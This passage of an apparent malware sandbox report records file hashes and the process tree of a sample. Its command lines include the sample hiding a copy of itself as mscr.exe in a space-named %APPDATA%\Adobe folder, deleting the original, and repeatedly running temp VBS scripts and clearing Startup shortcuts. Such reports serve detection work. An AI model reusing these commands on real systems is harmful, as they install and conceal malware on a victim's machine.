selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup9936131.vbs","file_path":"%TEMP%\\startup9936131.vbs","file_size":448,"md5":"c1f2c7fd7bc460f4b8fdd2e70ac94998","sha1":"bf0c91def801b40df5c2c0e8b09ff82f764a60b5","sha256":"36e3559323e2713e27b9428638b6931c339804d532e137e1e375ee1bc911a4c8","sha512":"c1b6dbc9a734a8b548c961f1cd260ad8214cc526e2d99fbc179d575695e388778a3bba5c9ef3eff256dcd7fa79e7d0df7ac56cf47b20dacc72e920d290dbc003","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 256)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"3MRYK.jpg","file_path":"%TEMP%\\3MRYK.jpg","file_size":100827,"md5":"427a54c2e45b465be5fa47dd8c5cf2ee","sha1":"916aa0e31004a7c7a775d7c2362fb5ecf789c372","sha256":"69977ae3d11fcb81e9267c931c0404a80fa229b21617c948b1738f23e5a93b57","sha512":"f917a0fea8d85657d551058db8cfd132a732077d5a3ecad87b1441ba87caada7fe8919436df5f83d0a9a01cad36839ae42bf107669346e0917c1e9ce55e2e3d7","type_tags":["unknown"],"description":null,"runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null}],"file_metadata":{"file_compositions":[],"imported_objects":[],"file_analysis":[],"total_file_compositions_imports":null},"processes":[{"uid":"00014871-00003556","parentuid":null,"name":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe","normalized_path":"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe","command_line":null,"sha256":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e","av_label":null,"av_matched":null,"av_total":null,"pid":"3556","icon":"$25","process_flags":[{"name":"Extracted Streams","data":null}]},{"uid":"00015175-00003636","parentuid":"00014871-00003556","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"$26","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3636","icon":"$27","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00015176-00003640","parentuid":"00014871-00003556","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3640","icon":"$28","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00015185-00003672","parentuid":"00015176-00003640","name":"taskkill.exe","normalized_path":"%WINDIR%\\System32\\taskkill.exe","command_line":"taskkill /f /im mscr.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","av_label":null,"av_matched":null,"av_total":null,"pid":"3672","icon":"$29","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00015197-00003656","parentuid":"00015176-00003640","name":"timeout.exe","normalized_path":"%WINDIR%\\System32\\timeout.exe","command_line":"timeout /t 1 /nobreak","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","av_label":null,"av_matched":null,"av_total":null,"pid":"3656","icon":"$2a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00015331-00003724","parentuid":"00015176-00003640","name":"mscr.exe","normalized_path":"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe","command_line":null,"sha256":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e","av_label":null,"av_matched":null,"av_total":null,"pid":"3724","icon":"$2b","process_flags":[{"name":"Network Activity","data":null}]},{"uid":"00016479-00002956","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2956","icon":"$2c","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00016531-00002904","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2788310.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2904","icon":"$2d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00017009-00003004","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3004","icon":"$2e","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00017032-00002832","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup3197659.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2832","icon":"$2f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00017509-00003192","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3192","icon":"$30","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00017529-00003244","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7597624.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3244","icon":"$31","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00018039-00003260","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3260","icon":"$32","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00018059-00003292","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup9321933.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3292","icon":"$33","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00018570-00003416","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3416","icon":"$34","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00018600-00003456","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup3330015.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3456","icon":"$35","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00019077-00003532","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3532","icon":"$36","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00019098-00002712","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup196366.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2712","icon":"$37","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00019610-00004052","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"4052","icon":"$38","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019628-00002896","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2879488.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2896","icon":"$39","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00020139-00003616","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3616","icon":"$3a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020161-00003592","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup8192529.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3592","icon":"$3b","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00020672-00003608","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3608","icon":"$3c","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020693-00002776","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7944398.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2776","icon":"$3d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00021204-00000808","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"808","icon":"$3e","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00021221-00003856","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1295000.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3856","icon":"$3f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00021734-00003832","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3832","icon":"$40","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00021757-00004068","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup3019309.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"4068","icon":"$41","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00022234-00003984","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3984","icon":"$42","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00022256-00003980","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7419274.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3980","icon":"$43","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00022767-00002236","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2236","icon":"$44","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00022790-00001748","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7171143.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"1748","icon":"$45","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00023267-00002116","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2116","icon":"$46","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00023290-00000712","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1581107.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"712","icon":"$47","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00023799-00002572","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2572","icon":"$48","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00023824-00002428","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1990457.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2428","icon":"$49","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00024301-00002688","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2688","icon":"$4a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00024324-00002628","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2144209.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2628","icon":"$4b","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00024801-00002736","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2736","icon":"$4c","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00024825-00002784","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup6544173.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2784","icon":"$4d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00025305-00003160","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3160","icon":"$4e","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00025337-00002968","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup5382966.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2968","icon":"$4f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00025815-00003332","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3332","icon":"$50","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00025847-00003792","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup276877.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3792","icon":"$51","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00026326-00003348","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3348","icon":"$52","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00026351-00003364","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7434561.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3364","icon":"$53","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00026827-00003392","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3392","icon":"$54","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00026845-00003460","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup8245793.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3460","icon":"$55","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00027355-00002052","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2052","icon":"$56","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00027367-00003524","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1295063.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3524","icon":"$57","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00027878-00003044","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3044","icon":"$58","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00027901-00002232","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup562985.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2232","icon":"$59","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00028378-00003688","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3688","icon":"$5a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00028398-00003692","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2031697.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3692","icon":"$5b","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00028908-00003664","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3664","icon":"$5c","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00028924-00001476","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup6687259.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"1476","icon":"$5d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00029437-00003812","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3812","icon":"$5e","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00029456-00003900","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup9069048.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3900","icon":"$5f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00029968-00004056","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"4056","icon":"$60","process_flags":[{"name":"Reduced 